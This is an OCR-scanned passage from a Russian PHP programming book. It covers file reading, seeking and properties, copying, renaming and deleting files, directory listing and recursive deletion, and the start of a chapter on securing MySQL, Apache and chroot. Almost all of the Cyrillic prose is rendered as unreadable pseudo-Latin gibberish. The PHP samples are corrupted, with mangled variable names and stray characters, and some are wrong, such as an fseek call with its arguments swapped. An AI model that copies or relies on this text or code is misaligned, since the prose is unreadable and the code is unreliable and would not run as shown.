O nmeckpuntop daiina, B KOTOpbIil HYXHO 3aTTHCHIBATE JIAHHbIE;

0 cTpoKa, KOTOPYI0 HaJ0 3alucarh;

O KoauM4ecTBO 3aMMChIBaeMbIX HaHHbIX. Ecau 3TOT napametp He 3amaH, TO
B chaitn Gyaet 3anucana Bes crpoka.

Ecnu 3anuch npoM3olia yenemHo, To hyHKIHsS BO3BpallaeT true, HHave false.

Bo BpeMs 3anMcH Bbl JOJCKHBI YUYHTBIBATH, YTO HAHHBIC MHLIYTCH B TEKYIIYIO 1O~
auuuio B daitne. Hanpumep:

if(! (sf=fopen("/var/www/html/1l/testfile.txt", "r+"}))
{
die("File open error");
}

$s = fread($SE, 7);
print("<P>Line 1: $s");

furite($f, "writing");

fclose(SE) ;

B atom npumepe mocsie oTKphiTHA daiia Mbl cHayana yuraeM 7 CHMBOJIOB, A 10-
TOM YyXe 3amuchiBaeM gaHHble. Tak Kak rnocie 4YTeHWs MO3MLMUS nepemMelaercs
Ha 8-if cHMBOJI, TO 3alUCh ByleT MPOMCXOOUTh, HAUYMHAas ¢ 8-ro cuMBoOJa,

2.14.6. MNo3vymnoHnpoBaHue B cpaine

Koria Heobxoaumo npouyuTath (haiy 3a HECKOJbKO 3TAroB, 0YeHb BAKHO YETKO
3HATH, JOCTHIHYT Ju KoHeu daitna. He crout Hanmeatbess HA TO, 4TO (DYHKUUA
YTeHMsl BEPHYT IyCTOe 3Ha4YeHWe B KoHLe aitna, Jyylie BOCIMONbL3OBATLCH Clie-
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UManu3upoBaHHsiM Metonom. B sisbike PHP ecte Ttakoit Metom — dyHKums
feof (). OHAa BO3BpAlldeT true, €CAM TEKYyLIAs TO3MLIUS COOTBETCTBYET KOHLY
caitna. Hanpumep, umMxn ureHus ¢aiina MoXeT BbIMISIIETh cleaylolnmM obpasom:

if (! (sf=fopen (" /var/www/html/1/testfile.txt", "r")))
{ die("File open error"); 1}

while (!feof(S$f))

{

$str = fread($f, 10);
}

fclose(5f) ;

B aToM mpumepe Mbl B LIMKIEe uuTaeM AaHHble no 10 cumBosios, noka He Oyzer
JIOCTUTHYT KOHell paiiia.

Teneps MOCMOTPHM, KaKk MOXHO mepemearbesi o Qaitny. Ecium mMbl oTKpbuTH
thaitn pasmepoM B 1 MGaiiT U xoTuM npounTath ToALKO nocnenuue 100 Gair, To
HET CMBICTA MepevyuThIBaTh Bech Gaityi. HyxHo npocTo yeTaHOBUTH Kypcop B co-
OTBETCTBYIOUIYIO TMO3MIIMIO M YMTATh TOJBKO TO, 4To Tpebyercs. s sroro uc-
nons3yercsi (PYHKIUSA fseek (), KOTOpasi B oOLIEM BUJE BBIMISIMT CJAEAYIOUINM
obpazom:

int fseek(int £, int offset [, int whence])

3pech y HaC TpU napameTpa, Ba U3 KOTOPLIX ABISIOTCH 00S3aTeIbHBIMM:
O £ — neckpunrop daiina;

O offset — KOJHYECTBO CUMBOJIOB, Ha KOTOPLIE HYXXKHO nepeasuHyThea. OTkyaa
MIET ABHXKEHKE, 3aBMCUT OT MOCIEIHEro napaMerpa (pyHkuuu;

O whence — OTKyJa M Kyla HYXHO nepemeuiarsces. [To ymonuaHuio ucnonsayer-
ca mapamerp SEEK_SET. [TepeyHcnuM 3HauYeHHs, KOTOPbIE MOXHO YKa3blBaTh
B 3TOM IlapaMeTpe:

e SEEK_SET — [BMXEHHE HAauWHaercs ¢ Hayana daiina;
e SEEK_CUR — JIBDKEHME MIET OT TeKylIel Mo3uLnu;

* SEEK_END — JIBHXKEHME MIAeT OT KoHua ¢aitna. YToOsl ABUTaThCA B HAYATIO,
BO BTOPOM MapaMeTpe HY)XHO YKa3aTh OTPULATENIbHOE 3HAYEHHE.
Hanpumep, ecu HYXHO nmpoyuTarh rnocjieaHue 10 cuMBOIOB, TO MOXHO BBHINOJ-
HUTH CAEAYIOLIWA KOMI:
fseek($f, SEEK_END, -10);
$s = fread($E, 10);
B nepeoii cTpouke Koga ¢ MOMOLIbIO (GyHKUMHK fseek() MBI MepeMellaeMmcsi Ha

10 cumBoJIOB OT KOHUA (aitia k Havany. Bo Bropoit cTpoyke Mbl YWTaeM mocien-
HHUE CHMBOJIBL,
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Yrobbl onpeenuTh TEKYILYIO TIO3NIIKI0, MOXHO MCMONb30BaTh QYHKUMIO ftell ().
Eit HyXHo nepenars ToibKO AeckpunTop (aitia, a B peayabrate Mbl MOJyYaeM
KONUYECTBO CHMBOJIOB OT Hauana (aitna. Hanpumep:

Spos = ftell($f);

YroGel 6bicTpo nepeMecTHThCs B Hayano (aitsa, MOXHO BOCHONb30BATHCS
dyHkumeit rewind(). Eil cneayer nmepenats TonbKo geckpuntop (aiina, B Koro-
POM HYXHO MEpPEMECTHTH TEKYILYIO MO3HUHIO B CAMOE HA4alo.

2.14.7. CeoiicTBa chaitnos

Y (aityloB A0OCTATOMHO MHOTO CBOWCTB, M MX JIEFKO OMNpPENENNTh ¢ MOMOILBIO
PHP-dyHkumit, 6e3 obpaleHus K cucTeMe HanpsaMylo.

Ho npexie yem omnpeneisite CBOHCTBA, HYXHO HAYYHUTBLCH OMNpenensiTh, CYLIECT-
ByeT Jii Boobuie ator (aitn. Dro KenarenbHO HeaTh MMepea KaXIOH MOMBITKOM
OTKpbITh <paiin. [is  ompeneneHusi cyulecTBoBaHus paiina ucrnonb3yercs
dyHKIMS file_exists():

int file_exists(string filename)
B kauectBe napaMerpa ¢yHKUMM HYXHO nepenath ums daitna, u ecnu daitin cy-

ILIECTBYET, TO pes3yabTaToM OymeTr true, MHaye — false. Torma Ko OTKPBITUS
¢aiina nyyuie nucarh caeayrowmM odpasom, eciM daiin NoMKeH CyLIecTBOBATD:

if (! (file_exists("/var/www/html/1l/testfile.txt")))
{ die("dain He cymectsyeT"); }

if (! (Sf=fopen("/var/www/html/1l/testfile.txt", "r")))
{ die("Oumbka orkperrra daima"); |}
Crenyiowmas (hyHKUMsA, KOTOPYIO Mbl OyleM paccMarpuBaTh, MO3BOJISET ONpele-

JIUTH BpeMs u3MeHeHMa dailna wiM MeTagaHHbIX (Hanpumep, NMpas H0CTYyNa) —
filectime():

int filectime(string filename)
Crenylolunit Koi M/UTIOCTPUPYET CHTYALHIO, B KOTOPOI HA CTPAHMILY BHIBOAMTCAH
Pe3yJIbTAT BBIUTOJMHEHUS (QYHKUMK filectime():

if ($time=filectime("testfile.txt"))
{
Stimestr = date("l1 d F Y h:i:s A", Stime);
print ("Last modified: Stimestr");
}

Takum cnocoGoM ynobHo oToGpasuTh MONb3OBATENI0 NATY, KOINA Bbl MOCHEMHUIA
pa3 BHOCWJIM M3MEHEHMUs B CLIEHApHii.
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Peayabrar, Bosspauemblil yHkuneit filectime (), — 4YMCI0, W JUIA npeobpaso-
BaHMA Hcnoab3yeres GpyHKima date (). Y aroil dyHKumMn aBa napamerpa — Hy#-
Hblii opmar u Bpemsi. B kauecrse dopmata ucriosibayercsi cTpoka, B KOTOPO#
MOXHO YKa3bIBATh CIEYIOLIHE CUMBOJIBL:

0 a — copmar BpemMeHH am WiH pm;

0O A — dopmar speMenu AM winu PM;

0O d — genn mecaua undpamu;

0 D — KopoTKoe Ha3BaHHE JHA HENEeH, CocToglIee U3 Tpex OyKs;
0 F — nonHoe TEKCTOBOE HAa3BaHUE MECSLA;

0 h — Bpems B 12-yacoBom opmare;

0 H — Bpemsi B 24-yacosoM ¢opMmare;

0 i — MUHYTBI;

O j — neusb Mecsila;

3 | — nojiHOEe TEKCTOBOE HA3BAHUE JIHS HEME/IN;

0 m — mecsu undpamu;

0 M — kopoTtkoe Ha3BaHue Mecsla, cocrosiuee U3 Tpex byks;
0 s — CeKyHIbl;

0O U — cekyH/ibl ¢ HaYa1a BeKa;

O Y —ron;

0 w — nenb Hepenn undpamn (0 — Bockpecenbe);

O y — roxn aByms uudpamu;

O z — neHs roaa.

DyHkuus fileatime () BO3BpAILAET AATy rocienHero obpawenus K daitny. IMox
obpalleHueM MoHUMaeTcs Jiioboe uTeHWe WIH H3MEHeHWe conepkumoro. Mue
NOKa He MPUXOAMJIOCHh MCIONB30BaTh 9Ty (DYHKIMIO, HO, MOXeT ObITh, BaM OHa
MPHUTOINTCS:

int fileatime(string filename)

®yukuna filesize() MO3BONSIET ONpPENENHTE pazmep daiina:

int filesize(string filename)

Dyukuuu nepepaercs ums (aiiia, a B peayjbTaTe Mbl MOIYHAEM €ro pasMep.

Jlna onpeneneHusi TMna aiina mcnonb3yercs HECKoJbKO (YHKUMIL, HO uaine
BCEro HY;KHO Y3HaTh, SIBJISIETCS JIW MYTh KAataiorom, GaitioM WM HCIONHAEMBIM
daiinom. TToMHMO 3TOro, MOXHO Yy3HAaTh, €CTh JIM Y HAC MpaBa Ha YTeHUE MWW
sanuchk B caitn. Beem atuM yHkuMsaM nepenaercs umst ¢paityia, a peayabrar pa-
BE€H true WIMN false.
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@yHKuMs is_dir() BO3BpalllaeT true, eCAH YKasaHHbIH [MyTh COOTBETCTBYET Ka-
TAjIoTY:

int is_dir(string filename)

DyHKUMS is_executable () BO3BPALLAET true, €CIM YKA3aHHBIM MyTh COOTBETCT-
BYET ucrofHsemMoMy (aitny:

int is_ executable (string filename)

Dyukuust is_file() BO3BpallaeT true, €CIM YKA3aHHBIH MyTh COOTBETCTBYET
aitny:

int is_file(string filename)

@DyHKiMs is_readable() BO3BpalllaeT true, €CAM yKa3aHHbIl ain AocTyneH
WISl YTEHUS:

int is_readable(string filename)

DYHKUMS is_writable() BO3Bpalllaer true, €C/AM yKazaHHbIA daiin gocTyneH
IUISE 3arHucH:
int is_writable(string f£ilename)

2.14.8. YnpaeneHue chaiinamm

HHorpa BosHukaeT HeoOXOUMOCTb B ynipasneHuu haiiamu, a UMEHHO B MX KO-
MUPOBAHUN, YAAIEHUH U nepeuMeHoBaHun. Hekoropsle nporpaMMUCTEL 1106AT
UCIOAB30BATh JUISl TUX 1lejeil cucreMHbie BhioBbl dyHkuuil. Hukorma e ne-
naitte atoro. JluwHee obpauieHne K cucreMe — ouepenHasi Ablpa B 6e3omacHo-
ctu. i manunyauposanua daliamu Mcnoassyiite Tonbko dyakuun PHP.
Ecau B 3TOM KOnE Bbl JIOTIYCTHTE OMIMOKY, TO XaKep CMOXET TOJIbKO MAHHMYIH-
poBarb (aitlaMM, HO He BBINOJIHATE KOMaHIbl Ha cepsepe. [Uisi nojyuyeHus npas
Ha BLIMOJIHEHUE BITOMILUKY NOHANOOHUTCS YyTh GoJbLIE CTapaHHIL.

J1abbl CIKOHOMUTH MECTO, PACCMOTPHMM TOJNBKO onucaHust PyHKUMI ¥ npocTbie
MpUMeEpBI.
Jiis xonuposaHus aiiia M3 OAHOTO Mecta B ApPYroe Mcronb3yercss (QyHKUMs
copy ():
int copy(string source, string destination)
MMepebiit napamerp — 310 daitn wiK nyTs K ¢aiiny, KoTopbiii Hano KONUPOBaTh.
Bropoii napamerp — HoBoe Mectonojioxerune (aiia. B cnyvae ynauHoro konu-
poBaHust GyHKUMSI BO3BPATHT true. Crenyiomwuii npumMep AEMOHCTPUPYET, Kak
ckonuposarh (aitn testfile.txt B Tor Xe Karanor, HO ¢ HOBEIM UMEHEM:
if (copy("testfile.txt*, “/*))

{

print("Complete");

}
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s nepenmMenoBanus (aitsia uenonbayercst (pyHKUMSE rename () :

int rename(string oldname, string newname)

[MepBsoiit mapamerp — ums aiiyia, KOTopoe Hano U3MeHUThb. Bropoit nmapamerp —
HoBoe uMs daitna. OyHKIHA MOXET He TONbKO NepeMMeHOBLIBATE (hailiel, HO U
nepemeiuars ux. Hampumep, creayiomas crpoyka koia nepemectut daiil u3 oa-
HOTO MecTa B IPYTroe U MpH 3TOM CMEHUT ero uMsi:

if (rename("/home/flenov/testfile.txt",
" /home/ flenov/templates/1.txt"))
{
print("Complete") ;
}

s ynanenus ¢aitna ucrionbayercst GyHKIMA unlink ():

int unlink (string filename)

B xayecTBe napamerpa HYXHO YKa3aThb TOJNBKO uUMA yaamsiemoro daitna. [Ipu
ucnonb3oBaHuK 31oil pyHkuuu B Unix-cucremax Bbl AOJDKHBI YYHTBIBATH, YTO
NpoucXoauT (puanyeckoe yraneHUe TOAbKO TeX (ailiioB, Ha KOTOpbIE He cylle-
cTByeT ccbltok. Eciu Ha maHHbIE €cTh CCbUIKA M3 JIPYroro Karanora, Hanpumep,
/home/flenov/php, To ymansiercsi ToJibKO cchuika Ha Karamor. Paiin npu 3ToM

ocTaeTcsi Ha Mecre, M K HEMYy MOXHO [IOJIyYMThb MIOCTYNl Yepe3 CChUIKY
/home/flenov/php.

JInsi KOppeKTHOro BBIMOJHEHUS! KOMAHI MaHUNyTAuMK daiyiaMu y Bac JMOKHEI
OBITh YCTAHOBIEHBI COOTBETCTBYIOUIME TIpaBa jocTyna K aiiiaM M Karamoram,
Hanpumep, npu konupoaHuu alijia ¥3 oHOTO KaTajgora B Apyroi y Bac JOJK-
Hbl ObITL MpaBa Ha YTEHHE Konupyemoro ¢aitsia ¥ Ha 3anuch B Karajor, Kyzpa
MPOMCXOAUT KOMTHPOBAHKE.

HeobxonuMo mnpoBepsATh KaKIBIH Mapamerp, KOTOpbii mnepenaercs (PyHKLMSM.
OcobeHHO B Tex ciayyasX, KOrja Ha Mapamerpbl MOXEeT IMOBIHATh MOCETHTENb
caiita. Eciu B3NMOMIIMK MOXET yKasaTh jiioboe umst juisi yaaiasiemoro ¢aina, to
OH MOXET MPOCTO BBIMOJHUTH KOMAHIY HA yaaleHWe BaKHBIX KOH(MUIYpalHOoH-
HbIX (haiijIoB U BBIBECTH CEPBEP U3 CTPOSL.

2.14.9. YnpaBneHue Karanoramm

IIpu paGote ¢ KatajoraMy O4YeHb BAXHO 3HATH CMBICH MMOHATHA TEKYIIEro Kara-
nora. OpuMH U3 KatanoroB (aliIoBoil CUCTEMBI ABIAETCS U CLUEHAPHs TEeKYLIHM.
ITo yMonyaHUIo TAKMM KaTaJIOroM SIBISIETCS TOT, e XpaHuTcs Qaiin cueHapus.
HNmena ¢aiiios TeKylero Karaaora MOXHO yKaspiBath 63 MojHOro MmyTH.

C nomolbio GYHKIUK getcwd () MOXHO Y3HATH, KAKON KaTajior sBJsIeTcs Te-
KYILIAM:

string getcwd()
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JUist cMeHBI TEKYILEro KaTajiora UCIonb3yeTes (PyHKUUS chdir():

int chdir(string dir)

B kauecrse Texyutero ara (GyHKLUMs yCTAHABAMBAET KATANOT, YKAa3aHHBIH B mapa-
METPE.

Jnsa co3manust Karaiora Ucnofb3ayercs GpyHKUNS mkdir ():

int mkdir (string dirname, int mode)

DMyHKUMS MO3BOMSET CO3NABATH KATAIOr C YKa3aHHBIM B KauecTBe MEPBOro napa-
meTpa umeHeM. Bropoii napameTp onpesessier pexum poctyna B Unix-cucremax.

B Windows ator nmapamerp urHopupyercs. Ytobbl MO3HAKOMHTLCA € peXHMaMin
JIoCTyMa, peKOMEHIYIO MpouuTarh KHury "Linux rmazamu xakepa" [1].

PaccmorpuM mnpumep, B KOTOpoM cosmaercss Karanor /var/www/html/2. Tlpasa
Joctyna ycraHasaupaiotrcsi B 3HaueHue 0700. [Mpu atom Bcemu npaBamMu Ha Ka-
tasor Oyaer obnanars Tonbko Baanenen. OcraibHBIM OH OYIeT HENOCTYIMEH.

mkdir("/var/www/html/2", 0700);

Jns co3ganust Karanora y Bac AO/KHLI ObiTh Npasa Ha 3alKCh B POAMTENBCKUI
xaraior. B naHHoM ciyyae aro /var/www/html.

@yHKuns rmdir() TO3BONSIET YAAIWTb YKA3aHHBIH B KayecTsBe €AWHCTBEHHOIO
napamerpa Katajior. B ofuieM Biie oHa BBITISUINAT CIEOYIOLIUM 0OpasoM:

int rmdir (string dirname)

Ynansercss toiabko nycroit karamor. Ecnim B Hem ecThb xotsi Obl oauH daiin, To
ylaleHHe CTaHEeT HeBO3MOXHBIM.

2.14.10. YreHne karanoros

Jns yreHUs comepkKMMOro Karajiora MCnoiab3yioTcs TpH DyHKUHM:

0 opendir() — OTKPBITh KATAJIOT,
O readdir() — NMPOYMTATHL KATANIOT;
0 closedir() — 3aKpbITb KaTaJor.

YreHue conepKMMOro Karajora 4eM-To HarommuHaeT pabory c¢ daitnom. Korma
MBI OTKpBbIBAEM KaTajlor, TO [OJIyyaeM AECKPHUIITOP, YEpe3 KOTOpbli W Mpoucxo-
aut ureHue. [lpu 3Tom y Bac AOJDKHBLI OBITH MpaBa HA YTEHME KaTajlora, WHa4e
onepauus Gyner HeIOnmyCTUMOI.

JlaBajiTe paccMOTpMM BCIO 3Ty TexHosioruio 6osee nmoapobHo. HauHeMm ¢ OoTKphITHSA
Karasora, T. €. ¢ GYHKIUMHK opendir():

int opendir (string dir)
B xauyecrse mapamerpa ¢yHKUHM opendir () mMepenaercsd MyTh K KATAIOry, KOTO-

pbiit HYXHO nMpoyuTaTh. B KauecTse pesynbTata HaM BO3BpallaeTcs AECKPUNTOP
OTKPBITOrO Karaiora.
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Jns ureHHst COAEPKUMOro Katajiora UCNojbayercs (pyHKIUMS readdir (), KoTOpas
BO3BpallaeT ouepesHoe ums daiina:
string readdir (int handle)

Ecnu nipountarsl yxe Bee (aiiisl, To QYHKUMS BO3BpalLaeT false.

ILisi 3aKpeiTHS Katailora Mernosabsyercsl (PpyHKuUMsi closedir (), KOTOPOH HYXHO
nepesaTh IECKPUIITOP OTKPLITOTO KaTalora.

Tenepp HanuiieM npuMmep, KOTOpeiil Oyaer nepebupars KaTajlord U BHIBOAWUTH MX
coiepxumoe Ha axkpaH. Utobsl Kox 6bui Gojiee MHTEPECHBIM, CAeNdaeM ero Mak-
CHMAJIBHO YHHBEPCAIBHBIM M Ha MMPAKTUKE BCIIOMHUM, YTO TaKoe pekypcusi (Jiuc-
TiHr 2.19).

5 AY

&
MY
AL

;unéticn Reéaﬂireﬁtggy;Sdir, §of;;)
{if ($d=opendir(sdir))
: while ($file=readdir($d))
{if (($file=='.") or ($file=='.."))
continue;

if (is_dir($dir."/".$file))

{
print ("<BR>$offs <B>$dir/S$file</B>");
ReadDirectory(Sdir."/".$file, Soffs."-");
}

else

print ("<BR> $offs $dir/$file");

}
closedir (&d) ;

ReadDirectory ("/var/www/html/1", Soffs="");

B 31OoM mpuMepe MBI co3nany (PYHKIMIO ReadDirectory (), KOTOpasi YUNTAET Kara-
JioT, MepefaBaeMblil B KauecTBE mapameTpa, M BbIBOLUT ero Ha 3kpaH. [Ipu yrenun
Karanora Mel nposepsieM HMs (aiina. Ecin oHO paBHO TOYKE WM JBYM TOYKAM
(cnyxebHoe ums), To HHuero He penaeM. Ecim tekyumit daiin ssnsercs karaio-
FOM, TO TIEPEUUTLIBAEM 1 €r0, PEKYPCHBHO BbI3biBasi (DYHKIMIO ReadDirectory (), HO
C HOBBIM KaTajloroM.

[Moyemy Mbl otOpackiaeM Gaityibl ¢ MMeHaMM, COCTOAUIMMH K3 OHHOM W HByX
toyek? DTH UMeHA ABASIOTCA 3ape3epBUPOBAHHBIMU. TOYKA YKA3BIBAET HA TEKY-
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LM Katajor, a [Be TOYKW Ha poauTesbekuit. [lpu aToM, eciid BBIMONIHUTE
byHKUMIO is_dir() Juis ¢aiia ¢ UMEHeM, COCTOSILLIMM M3 TOYKMU, TO pe3yibra-
ToM OyneT true, To ecTh 310 Karanor. [Touemy? Eciiu Mbl Haxonumcs B Katajore
[var/www/html, To /var/www/html/ ykaspiBaer Ha TeKyiui Katauior, TO ecTb 310
Karaior, W GpyHKUMs is_dir () AOMKHA BEPHYTh true.

Bbl nokHBL ydUTBIBATH 3Ty OcoGeHHOCTh M MpH HeobGXoxMmocTH oTGpackiBaTh
cnyebHble UMEHA KATa/loroB.

Tenepb y Hac J0CTATOYHO 3HAHMWIA, YyTOBRI HanmucaTh (PYHKIMIO, KOTOPas TO3BO-
JUT yIanaTe Katanoru, comepxaiuue daiiasl. Moit BapuaHT Bbl MOXeTe YBUIACTH
B anctuHre 2.20.

function rmdir_with_files(sdir, Soffs)
{if ($d=opendix ($dir) )
{ while ($file=readdir($d))
{if {{sfile==". ") or (8file==".."))
continue;

if (is_dir(sdir."/".Sfile))

{
ReadDirectory(Sdir."/".$file, Soffs."-");
rmdir($dir./.$file);

3

else
unlink(8dir./.Sfile);

}
closedir($d) ;

rmdir_with_files ("/var/www/html/1", Soffs="");

Bynbre BHUMATEILHBI [IPU MCMOJB30BAHNH TAKOM NPOLEeIypbl U HUKOIIA He yKa-
apIBaiiTe yaIgeMblil KaTajlor 4epes nepeMeHHyio, KOTOPYi0 MOXET 3alaTh MOJb-
sopareib. EcnuM Xxakep CMOXET ITOBAWSTH Ha TMepBbiif napamMerp QYHKLUWH
rmdir_with_files() M M3MEHMT NMyThb HA /, TO OymyT yaaneHnl Bce daitabl Ha
cepsepe. YToGbl 3TOro0 He NMPOM3OLLIO, 5 HUKOIAA HE MCMOMb3YI0 PEKYPCHIO TPH
yIAJIEHUH.
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Be3zonacHocTb

Korna st yyuicst B HHCTHTYTE, TO Ha OJHOM M3 CTEH/IOB B KOPHMIOPE MPOYMTAN
oyeHb HMHTepecHoe Boipakenue: "Jliobasg nporpamma comepxut omubku. Ecam
B Balleii mporpaMMe MX HeT, TO MpoBepbTe nporpamMmy eiue pas. Ecau cHoBa
OlNGKKM He HalleHbl, TO Bbl TJIOXOM nmporpaMmuct”. BTo He IIYTKA, 3TO pedib-
Hoetb. [lporpammucTel — 9TO JIIOAM, a JIOAAM CBOMCTBEHHO ommbarhes. Kax-
IbIi IeHb MOSBSIOTCS BCe HOBBbIE BH/BI ATaK, W YTOOBI NOMNEPXKUBAThH MPOTPaM-
Mbl B 6e30MacHOM COCTOSIHUM, MPUXOAWTCS DPEryjisipHO CJENWTh 3a METOIaMM,
KOTOpbie MCIOJNIB3YIOT XaKepbl, H COOTBETCTBYIOIINM 06pasoM KOPPEeKTHPOBATH
MCXOIOHBIA KOI.

HeBo3moxHO HanmMcaTh KHUTY ¥ M3JIOXKHUTh B Hell KaKHe-TO WHCTPYKLMH, CIenyst
KOTOpBbIM MporpaMMmucT Oyner co3maBath abcomoTHO Oe3onacHble CLEHApUU.
Ho 1o He 3HauuT, 4To npo 6e3omacHOCTb MOXHO 3a6biTh, MOTOMY 4TO J06YI0
CHCTEMY BCE paBHO B31oMalOT. Sl mocTapaioch JaTh PEKOMEHIALIMKM, KOTOpbIe To-
3BOJIAT ClleJlaTh Ball Kol Oonee 6e30MacHbIM M TIOHU3MTH BEpOSATHOCTH B3JIOMA JIO
MHHHMYMA.

Best KHMTa mocTpoeHa TAK, YTO TeMa 6e30MacHOCTU CTABUTCS HA MEPBBIM IIaH.
Ho ecth ornpeneneHHbe obuiune MOMEHTBI, KOTOpPBLIE A BBIHEC B OTACAbHYIO ITIABY,
W MX HaM IMPeAcTOMT ceiyac pacCMOTpPETh.

Mpbi He Gynem TOBOpPHTH O HeOOXOMMMOCTH BBIOMPATH CIOXHbIE MAapojiuW M Xpa-
HUTb UX B 3aiuudpoBaHHOM Buie. MHe KaxeTcs, YTO IMpoOCThie MAPoOad — 9TO
npobiema HauuHalOWMX rojbs3oBateneil. I1podeccHonaibl, KOTOPLIMU SIBJISIIOTCS
AIMMHUCTPATOPBI U MPOrPAMMUCTBI, JAOJDKHbBI YK€ BBIYYUTH, YTO Napoib god Ha-
MHOTO MpOolLlEe B3TOMAaTh, YeM Mapojib fEA45k%92-EDh_GAPnS82Ndg.

3.1. KomnnekcHas 3awura

[Mpo6iiemMa 3auIuThl He OrpaHUYMBAeTCsl TOJBKO 3alUTON cueHapus. MoxHO Ha-
nucarh camyio 6€30MacHyI0 NporpaMMy, HO MpH 3TOM YeTaHoBuTh Ha cepsep OC
¢ HACTPOMKAMM 1O yMondaHuio. BceM M3BecTHO, YTO HACTPOHKH MO YMONYAHUIO
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Janeky oT uueana, ¥ Graronapsi aToMy cepsep MoXer ObITh B3nmoMaH jgaxe Ges
ucnoab3obarus Web-cuenapues.

BesonacHbiM JOJIXKEH OLITH HE TOJLKO KaXIbii YHacTOK Koja, HO H Kaxnasd
nporpaMma, ycTaHoBIeHHasi Ha cepsepe, cama OC u Bce ucronbiyemoe obopyno-
BaHNe (B OCHOBHOM, 9TO KAcaeTcs CETEBLIX YCTPOWCTB).

[TporpaMmuct AosxkeH Bcerna paborarh B COTPYAHHMYECTBE € aIMMHMCTpATOPaMil
M crneunanuctaMu no GesonacHocT. Hanmpumep, nporpaMMucT MOXET PeluuTh,
4To [Wis ero ynoberBa HEOOXOAMMO Cle/iaTh ONPeieIeHHYIO NANnKy OTKPBITOA A
YTeHWs M 3amMCH BCeM Tosb3oBatesM. B aToii manke cuenapum Gymyr coxpa-
HATb HEeKOoTOpble naHHbie, Ho ecau 3Ta mamka MCIoNb3yercss aiMHHUCTPATOPOM
IUTS. XpaHEHMs BAXHBIX NAHHBIX WJIM KOH(UIYpauUMOHHBIX (ainos, TO cepeep
OK&XeTesl Mol Yrpo3oil.

3auwMiuare Hano U cetepoe obopynoanue, Eciu Bel ciaeaurte 3a GOWIETEHIMHU 110
6e3011acHOCTH, TO JO/DKHBI OBUIM BCTPEYATHCS C OMMCAHUAMH B3JIOMOB, MPH KO-
TOPBLIX XaKep CMOI MOJYYHTH HOCTYI K MapuipyTH3aTtopy M NMPOCMOTPETb Bee ra-
KeTbl nonb3osatreneit. g KOHGMHACHUIWANBHBLIX NAHHBIX Mbl MOXEM MCIONLIO-
BaTh wWwndpoBaHue M rnepenasarTh AaHHbie 1o nporokony SSL, HO ero HUKTO |
HUKOIIA He MCMOJB3YeT Npu co3naHuu dopymos unu uvaros. Ecam xakep cmor
MepexBaruTh Maker, B KOTOPOM [oJib3oBaTe/lb nepender Ha QopyM naHHbie of
ABTOPM3ALIMH, TO XaKep CMOXET MX MPOUMTATb M 3aXBATHTL YYETHYIO 3aMuch
roJjib3oBaTess.

Wrak, saurmiats HeobXoaMMo He TOAbKO cueHapum, Ho U OC, cepsep Oasnl
NIaHHBIX, ceTeBoe obopyrosanue. Kaxmas cocransiowmas tpeGyer OTAeAbHOIN
KHUTH 1Mo 6e30MacHOCTH, HO HEKOTOPLIE 0COOEHHOCTH 3AMMTH Mbl PACCMOTPHM
B 3TOH riase.

Jaxe eciin Bbl ABIsETECh Pa3pabOTYNKOM M HE CBA3AHBI ¢ AAMMHHCTPHPOBAHHEM
cepBepa CBOEH KOMITAHMM WM MPOCTO CaiiTa, s HACTOSITEIbHO PEKOMEHIYIO BaM
nozHakoMuThesd ¢ GesonacHocteio OC, KoTopas MCHONB3yeTCsl HA BallleM cepne-
pe. Lis Linux-cucrem s pekoMeHAyIO npountats KHury "Linux rmrasamu xake-
pa” [1].

Hasaiite paccmorpum npumep 3awntel MySQL u Apache B onepaumoHHoid cuc-
teme Linux. Mbl onycrum sawmury camoit OC, noromy uto 3T0 OTAENbHAs M
ovyeHb Gosnblias Tema. Mrak, sammra HauMHaeTcs ¢ YCTAHOBKU M MpenBapuTeib-
Horo koHdurypuposanus. B cayyae ¢ MySQL Heo6Xonumo BBITTONHHTE CERyIO-
1ue aeicTBns:

1. Cepsep 6a3bl JaHHBIX YCTAHABIMBAETCA ¢ HACTPOMKAMM MO YMONYAHMIO, TIPH
KOTOPBIX AIMHUHUCTPATOPCKMIT JOCTYN paspelleH IMOoJb30BaTeo oot ¢ nyc-
TeIM maponeM. 9t1o HebesonacHo. Heobxoaumo, Kak MUHHMYM, YCTAHOBHTH
CJIOXHBIIT Mapoik, a Jyyuie nepeMMeHoBaTh yYeTHy 3anuch root. Eciu bl
pa6oranu ¢ OC Linux, To A0JKHBL 3HATE, YTO B TOW CHUCTeMe aIMUHUCTPATO-
pom Toxe siBasiercst root. Mmena anmuuuctparopa B OC i B 6ase JaHHBIX HU-
KdK He CBS3aHBbL.
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2. Heobxonumo 3abnokupoBarh aHOHUMHbBIN ZocTyn K 6ase maHHbX. [Toakmoye-
HUA JOMKHBI IPOU3BOAUTECS TOABKO /ISl ABTOPH30BAHHBIX MOIL30BATENEH.

3. Heobxonnmo ypanuth Bce H6asbl ZJaHHBIX, CO3AAHHBIE IJISI TECTHPOBAHMS U OT-
nanku. Mo yMonuanuio B GosbiinHCTBE cepBepoB 6a3 MaHHbIX (B TOM 4ucie U
B MySQL) ycranasnuBaetcst TecToBas Gasa maHubix. B paboraiouieil cucreme
€e He J10JKHO ObITb.

Jloctyn no yMONI4aHHio, 0 KOTOPOM MBI YK€ CKAasaiH, ecTh MPaKTHYECKH BO BCEX
6azax panHbX. B MS SQL Server 310 uMs $a, KOTOpoe MOXET HE MMETh MapoJis,
ec/Ti AIIMHHUCTPATOP He YCTAHOBIJI ero Bo Bpemsi mHcrawsiunu, a 8 MySQL ato
nons3osaresb root 6e3 napons. Yrobul uamernnTs napoias 8 MySQL, BeimonnuTe
KOMaHuy:

{usr/bin/mysgladmin -uroot password newpass

Hauwnywmmm sapuantom Gymer nepenectn pabotry MySQL u Apache B okpy-
kenue chroot. Kak paGotaer srto okpyxkeuue? B cucreme coszpaercs karanor
(8 Linux mw1g 5T0ro cyuiecTByer KOMaHaa chroot), KOTOPBLA sIBIsIeTCS [UIs [TPO-

rpaMMbl KOpHEBBLIM.

I bin l I usr l I var I Ihome I

| | ]

chroot Lusen l user2 l

:

Puc. 3.1. Cxema pabotbl okpyxeHus chroot

Briure storo kartanora nporpamma, paboraloiasi B okpyxeHud chroot, nomacts
He Moxer. [Mocmorpure Ha puc. 3.1. 3aech nokasaHa yacth ¢ailloBoi cUCTEMBI
Linux. Bo rnase Bcero crout KopHeBoi kartaior /. B HeM Haxogarcsi KaTalioru
/bin, Jusr, /var, /home u T. 1. B /home pacnofioxeHbl KaTaaord Mnojb3oBareiei
cucteMbl. MpbI co3aaem 31eck HOBBIM Kartaor, it npuMepa Hasosem ero chroot,
